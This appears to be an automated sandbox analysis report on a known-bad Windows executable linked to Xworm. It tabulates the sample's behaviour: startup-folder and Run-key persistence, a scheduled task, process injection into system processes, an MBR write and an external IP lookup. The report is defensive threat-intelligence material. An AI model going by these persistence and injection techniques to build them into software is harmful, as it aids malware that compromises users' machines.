Analysis Overview
SHA256
ac8734f52d12c32450bd49a97fc803c730e4f03b89698bb49e9db473c7730400
Threat Level: Known bad
The file x4rr.exe was found to be: Known bad.
Malicious Activity Summary
Suspicious use of NtCreateUserProcessOtherParentProcess
Detect Xworm Payload
Modifies security service
Xworm
Sets service image path in registry
Checks BIOS information in registry
Checks computer location settings
Executes dropped EXE
Drops startup file
Writes to the Master Boot Record (MBR)
Enumerates connected drives
Looks up external IP address via web service
Adds Run key to start application
Drops file in System32 directory
Suspicious use of SetThreadContext
Drops file in Windows directory
Unsigned PE
Enumerates physical storage devices
Suspicious use of WriteProcessMemory
Suspicious use of UnmapMainImage
Scheduled Task/Job: Scheduled Task
Suspicious behavior: GetForegroundWindowSpam
Modifies data under HKEY_USERS
Suspicious use of AdjustPrivilegeToken
Enumerates system info in registry
Suspicious behavior: EnumeratesProcesses
Checks processor information in registry
Checks SCSI registry key(s)
Uses Task Scheduler COM API
Modifies registry class
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-06-21 07:13
Signatures
Unsigned PE
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral2
Detonation Overview
Submitted
2024-06-21 07:13
Reported
2024-06-21 07:16
Platform
win10v2004-20240508-en
Max time kernel
150s
Max time network
149s
Command Line
Signatures
Detect Xworm Payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Suspicious use of NtCreateUserProcessOtherParentProcess
| Description | Indicator | Process | Target |
| PID 2384 created 608 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | C:\Windows\system32\winlogon.exe |
Xworm
Sets service image path in registry
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\DoSvc\ImagePath = "C:\\Windows\\System32\\svchost.exe -k NetworkService -p" | C:\Windows\System32\WaaSMedicAgent.exe | N/A |
Checks BIOS information in registry
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate | C:\Windows\system32\wbem\wmiprvse.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion | C:\Windows\system32\wbem\wmiprvse.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\x4rr.exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\x4r.exe | N/A |
Drops startup file
| Description | Indicator | Process | Target |
| File opened for modification | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\x4svchost.lnk | C:\Users\Admin\AppData\Local\Temp\x4r.exe | N/A |
| File created | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\x4svchost.lnk | C:\Users\Admin\AppData\Local\Temp\x4r.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\x4r.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\x4Shellcode.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\x4svchost.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\x4svchost.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\x4svchost = "C:\\Users\\Admin\\AppData\\Roaming\\x4svchost.exe" | C:\Users\Admin\AppData\Local\Temp\x4r.exe | N/A |
Enumerates connected drives
| Description | Indicator | Process | Target |
| File opened (read-only) | \??\B: | C:\Windows\system32\svchost.exe | N/A |
| File opened (read-only) | \??\H: | C:\Windows\system32\svchost.exe | N/A |
| File opened (read-only) | \??\P: | C:\Windows\system32\svchost.exe | N/A |
| File opened (read-only) | \??\R: | C:\Windows\system32\svchost.exe | N/A |
| File opened (read-only) | \??\V: | C:\Windows\system32\svchost.exe | N/A |
| File opened (read-only) | \??\Y: | C:\Windows\system32\svchost.exe | N/A |
| File opened (read-only) | \??\E: | C:\Windows\system32\svchost.exe | N/A |
| File opened (read-only) | \??\I: | C:\Windows\system32\svchost.exe | N/A |
| File opened (read-only) | \??\M: | C:\Windows\system32\svchost.exe | N/A |
| File opened (read-only) | \??\O: | C:\Windows\system32\svchost.exe | N/A |
| File opened (read-only) | \??\A: | C:\Windows\system32\svchost.exe | N/A |
| File opened (read-only) | \??\L: | C:\Windows\system32\svchost.exe | N/A |
| File opened (read-only) | \??\N: | C:\Windows\system32\svchost.exe | N/A |
| File opened (read-only) | \??\Q: | C:\Windows\system32\svchost.exe | N/A |
| File opened (read-only) | \??\X: | C:\Windows\system32\svchost.exe | N/A |
| File opened (read-only) | \??\G: | C:\Windows\system32\svchost.exe | N/A |
| File opened (read-only) | \??\J: | C:\Windows\system32\svchost.exe | N/A |
| File opened (read-only) | \??\K: | C:\Windows\system32\svchost.exe | N/A |
| File opened (read-only) | \??\S: | C:\Windows\system32\svchost.exe | N/A |
| File opened (read-only) | \??\T: | C:\Windows\system32\svchost.exe | N/A |
| File opened (read-only) | \??\U: | C:\Windows\system32\svchost.exe | N/A |
| File opened (read-only) | \??\W: | C:\Windows\system32\svchost.exe | N/A |
| File opened (read-only) | \??\Z: | C:\Windows\system32\svchost.exe | N/A |
Looks up external IP address via web service
| Description | Indicator | Process | Target |
| N/A | ip-api.com | N/A | N/A |
Writes to the Master Boot Record (MBR)
| Description | Indicator | Process | Target |
| File opened for modification | \??\PHYSICALDRIVE0 | C:\Windows\system32\wbem\wmiprvse.exe | N/A |
Drops file in System32 directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\System32\Winevt\Logs\Microsoft-Windows-WindowsUpdateClient%4Operational.evtx | C:\Windows\System32\svchost.exe | N/A |
| File opened for modification | C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan | C:\Windows\system32\svchost.exe | N/A |
| File opened for modification | C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187 | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| File opened for modification | C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx | C:\Windows\System32\svchost.exe | N/A |
| File opened for modification | C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work | C:\Windows\system32\svchost.exe | N/A |
| File opened for modification | C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 | C:\Windows\system32\svchost.exe | N/A |
| File opened for modification | C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04 | C:\Windows\system32\svchost.exe | N/A |
| File opened for modification | C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 | C:\Windows\system32\svchost.exe | N/A |
| File opened for modification | C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| File created | C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| File opened for modification | C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx | C:\Windows\System32\svchost.exe | N/A |
| File opened for modification | C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work | C:\Windows\system32\svchost.exe | N/A |
| File opened for modification | C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187 | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| File opened for modification | C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9 | C:\Windows\system32\svchost.exe | N/A |
| File opened for modification | C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749 | C:\Windows\system32\svchost.exe | N/A |
| File created | C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| File opened for modification | C:\Windows\System32\Tasks\x4svchost | C:\Windows\system32\svchost.exe | N/A |
| File opened for modification | C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work | C:\Windows\system32\svchost.exe | N/A |
| File opened for modification | C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776 | C:\Windows\system32\svchost.exe | N/A |
| File opened for modification | C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A | C:\Windows\system32\svchost.exe | N/A |
| File opened for modification | C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187 | C:\Windows\system32\svchost.exe | N/A |
| File opened for modification | C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 | C:\Windows\system32\svchost.exe | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 2384 set thread context of 5096 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | C:\Windows\System32\dllhost.exe |
Drops file in Windows directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\SoftwareDistribution\ReportingEvents.log | C:\Windows\system32\svchost.exe | N/A |
| File opened for modification | C:\Windows\Logs\CBS\CBS.log | C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe | N/A |
Enumerates physical storage devices
Checks SCSI registry key(s)
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\ConfigFlags | C:\Windows\system32\wbem\wmiprvse.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000 | C:\Windows\system32\wbem\wmiprvse.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Mfg | C:\Windows\system32\wbem\wmiprvse.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName | C:\Windows\system32\wbem\wmiprvse.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000 | C:\Windows\system32\wbem\wmiprvse.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\CompatibleIDs | C:\Windows\system32\wbem\wmiprvse.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Mfg | C:\Windows\system32\wbem\wmiprvse.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Service | C:\Windows\system32\wbem\wmiprvse.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Service | C:\Windows\system32\wbem\wmiprvse.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\HardwareID | C:\Windows\system32\wbem\wmiprvse.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\DeviceDesc | C:\Windows\system32\wbem\wmiprvse.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000\LogConf | C:\Windows\system32\wbem\wmiprvse.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000\LogConf | C:\Windows\system32\wbem\wmiprvse.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID | C:\Windows\system32\wbem\wmiprvse.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\CompatibleIDs | C:\Windows\system32\wbem\wmiprvse.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags | C:\Windows\system32\wbem\wmiprvse.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\DeviceDesc | C:\Windows\system32\wbem\wmiprvse.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName | C:\Windows\system32\wbem\wmiprvse.exe | N/A |
Checks processor information in registry
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 | C:\Windows\System32\mousocoreworker.exe | N/A |
| Key opened | \Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0 | C:\Windows\System32\mousocoreworker.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz | C:\Windows\System32\mousocoreworker.exe | N/A |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 | C:\Windows\System32\mousocoreworker.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier | C:\Windows\System32\mousocoreworker.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString | C:\Windows\System32\mousocoreworker.exe | N/A |
| Key opened | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 | C:\Windows\System32\mousocoreworker.exe | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS | C:\Windows\System32\mousocoreworker.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU | C:\Windows\System32\mousocoreworker.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier | C:\Windows\system32\wbem\wmiprvse.exe | N/A |
Modifies data under HKEY_USERS
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft | C:\Windows\System32\mousocoreworker.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\ExtendedProperties\LID = "0018C00DDF3C5ECE" | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs | C:\Windows\system32\svchost.exe | N/A |
| Key deleted | \REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows | C:\Windows\System32\mousocoreworker.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust | C:\Windows\system32\svchost.exe | N/A |
| Set value (data) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\DeviceTicket = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb0100000025211fa19d5026448d80ded9f423a63d00000000020000000000106600000001000020000000992a1184794942c43dfa1c14be627afa87a51c0b6ea1202a9e9cba8ccf36daa5000000000e8000000002000020000000812552528f7261adbee56390d018ab8c92ff7c61c81021c7614a695f1cf25784b00300004020551d07af657a86c894883a73836148d0b5e429d71ea2504f79bbe4108dc7f24d4cda381ed5f9e7d9962910a84a76af11872fb976ea05acaf7a8af3b1c08cc4e7f5f4cd4b09b795276c1e923f7d2aa3dd0538d2edad48abcb506a532175da5a831e9f6c2345d8d74dd4fb712f053cffdcf524082f31936a4fdb38335e445cdfff26f5f748af43daf5a3be1f5de7b4855678b352679456a26a7056cf0544be8649c5e4aaf89f133fb84cd614b4b7d1894408e5023adc0c66c173b62af592d27a45dc0e993075b5399179e7f291b62cf8d0c7f9cb46efa67e2d963d8dc8725535e1b399498eb47b26206b75c3975d1d606b43e2590ca7112c23791aacf7dc80cd4b5d25e3bf3e8f2adc8308d827b3c8d0b38ebef76aea8a3294e80b94f0433f108a223a925c4a5b456dde2abd9044d001318f0c81f2b937422a8f3d2a8a82f61241b58d641b272f4cb69ec5bac18cef45036945cf4b11d35143ad388bac73f017a8e121124ff1cca89990b223c35776458134ec0bdc8d8c6fe9bf9f9fe4afced78bd971318ecc75ee03161ec1d887a4205e5cce699301ab4622e464a76c6ad1bd7d10e01c135c9791e76b99b9d99ed297097f86a059e53468f433dad518eaa7d6a5450813ab7f348d8ec88787ba7c83ace1aab2211c7d69d06c2d4440da5abdb43bf67ebb7c6edd7b19afb27952705c5430ccc0c67af3d51e5362314f67eb8e3163bdc7e76ee6c500dc1eeb370e415ef1a6a85b11da12772c939cff4a5393c0200d4bb368d0a95bc40a72267821eaf39ad667ac545effc798668052b4dbffa91c2e962fbf6af8de80c22c3091f9b960cd5b7c8a64c62065b02d9398e841b4159f38f86b8a794d01be025b2abf68e57af39c9c8c77d64a53360883170c14e9837723a53fc47c46c24f96285e1733391953e77f5ee78ef12216bec1463b7b13781dfccd13c6c3eb9a316ee234b6831f6e4fa03f7947da074325a70ac0c065b5f1661f4927d1f0e2c8e4318f18bab539d1ebcd0258914d25ce37fc6d2815e84aebd4af923d4c6124b771889faee70112d9692713b183c53eac628fefefda6aea8153570da63f4d5f67f279ec998eef8f62193f4e1953feec3e055100d7a5f9cfbe3c480d19dc8ab375c671edf6e88df716e0ddd2f298a302e05475422ed2f9bc3d38f0e8b952d9714941c644735ccccedbf9e769534341756caa9f729e2ed99abcecbeed95ee0813a943fb871d71e779563e5a115e77dd31eb819348cbb34a8401ef49ac83c36b1ff0b1c9e5897c2762efc3573f6964adc9c9af1845650950cce348fcf974d332dd74a374a64ffd489e98400000006b61628a882c85c17a6e82cc78604849d4c1d377a442196a56e50510c6c7109edd1b16ea9a68ea81eea988f46ffb7b44c7ba51016bedc8e7e10a73b133689d13 | C:\Windows\System32\mousocoreworker.exe | N/A |
| Set value (int) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\ApplicationFlags = "1" | C:\Windows\System32\mousocoreworker.exe | N/A |
| Set value (int) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1718954144" | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Set value (data) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Property\0018C00DDF3C5ECE = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb0100000025211fa19d5026448d80ded9f423a63d000000000200000000001066000000010000200000009c2f695ed041cd322995ecea8d0dd28cfaafd269fc1a3a0bae2aa60a5389b700000000000e800000000200002000000004caaf45e933a5418d98b3e27e7b43fbfd4f853d3f4cf798f28ac2d590fbdcde80000000ea714647c202b029bf77335908acae3dc8bd869f4ca9dbec89f521115b47726b026406803ed0e614186f0a129678d960981e23220ca420e3c07774b2c3377e394630b63161121a314285b4822cb65bc345a28c75408aacd29cbcfb90afbb9971640e77ec0fd3809c020d824030d3f2ba56dc7b5b186519259f361befb8c8c2e440000000bee63eefb8ec9ee9dd1dd6132f74d6b823e75164985a6bb960cdcdd6dbacb81b262b9ad106632f79d962648bfd7b2917c375c2ec4a5fe88220a4a976a0d92d82 | C:\Windows\System32\mousocoreworker.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager\Peek\CacheStore | C:\Windows\System32\mousocoreworker.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates | C:\Windows\system32\svchost.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6" | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
